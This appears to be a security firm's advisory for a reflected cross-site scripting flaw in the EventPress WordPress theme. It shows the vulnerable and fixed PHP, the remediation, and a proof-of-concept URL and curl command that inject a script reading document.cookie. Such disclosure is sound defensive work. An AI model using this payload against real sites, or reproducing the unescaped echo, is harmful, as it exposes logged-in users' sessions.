Skip to content
FortressDiscuss your projectMenu

CVE-2026-6268

EventPress: Reflected Cross Site Scripting

Product
EventPress (WordPress theme)
Versions
Before 22.2 · fixed in 22.2
Severity
HighCVSS score 7.1 · WPScan
CVE
CVE-2026-6268, assigned by WPScan
Found by
Mustafa Ahmed, Fortress MSSP
Published
November 11, 2026CVE published by WPScan on May 27, 2026

Description

The EventPress WordPress theme before 22.2 does not sanitize or escape the 'id' parameter in the eventpress_customizer_notify_dismiss_action AJAX handler before outputting it back in the response, allowing unauthenticated attackers to perform Reflected Cross-Site Scripting attacks against logged-in users.

From the CVE record · CWE-79 Cross-Site Scripting (XSS)

Technical analysis

eventpress_customizer_notify_dismiss_recommended_action_callback() copies $_GET['id'] into $action_id without any sanitisation and immediately prints it with a bare echo. Because the value is written into the response unescaped, any HTML or script supplied in the id parameter is returned verbatim in the AJAX response.

Vulnerable: inc/customizer-notify/eventpress-customizer-notify.php, version 22.1
	public function eventpress_customizer_notify_dismiss_recommended_action_callback() {



		global $eventpress_customizer_notify_recommended_actions;



		$action_id = ( isset( $_GET['id'] ) ) ? $_GET['id'] : 0;



		echo $action_id; 

22.2 passes id (and todo) through sanitize_text_field() and prints $action_id with esc_html(), so markup in the parameter is stripped or HTML encoded before it reaches the response.

Fixed: inc/customizer-notify/eventpress-customizer-notify.php, version 22.2
	public function eventpress_customizer_notify_dismiss_recommended_action_callback() {



		global $eventpress_customizer_notify_recommended_actions;



		$action_id = isset($_GET['id']) ? sanitize_text_field($_GET['id']) : '';

		$todo = isset($_GET['todo']) ? sanitize_text_field($_GET['todo']) : '';



		echo esc_html($action_id);

Fortress’s reading of the public source code at the versions shown.

Proof of concept

As published by WPScan in its advisory on May 6, 2026.

1. Craft the following URL and have an authenticated user (e.g. an admin) visit it:

https://{TARGET}/wp-admin/admin-ajax.php?action=eventpress_customizer_notify_dismiss_action&id=<script>alert(document.cookie)</script>

2. The server responds with Content-Type: text/html and the script tag is reflected verbatim in the response body, executing in the victim's browser context.

3. To verify with curl (requires an authenticated session):

curl -b cookies.txt 'https://{TARGET}/wp-admin/admin-ajax.php?action=eventpress_customizer_notify_dismiss_action&id=%3Cscript%3Ealert(document.cookie)%3C/script%3E'

Response: <script>alert(document.cookie)</script>

Severity

WPScan rates it 7.1 (high). CISA’s ADP scores it 7.1 (high) in the CVE record.

  • CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:LCISA ADP

Remediation

Update EventPress to 22.2 or later.

Disclosure timeline

  1. CVE ID reserved by WPScan.
  2. Fix committed to the theme repository (r326053).
  3. Version 22.2 released.
  4. WPScan advisory published.
  5. CVE published by WPScan.
  6. Published on this site.

Credit

Found and reported by Mustafa Ahmed of Fortress MSSP. The CVE record credits Mustafa Ahmed as finder and WPScan as coordinator.

WPScan's advisory lists Mustafa Ahmed as original researcher and submitter, with fortressmssp.com as the submitter's website.

References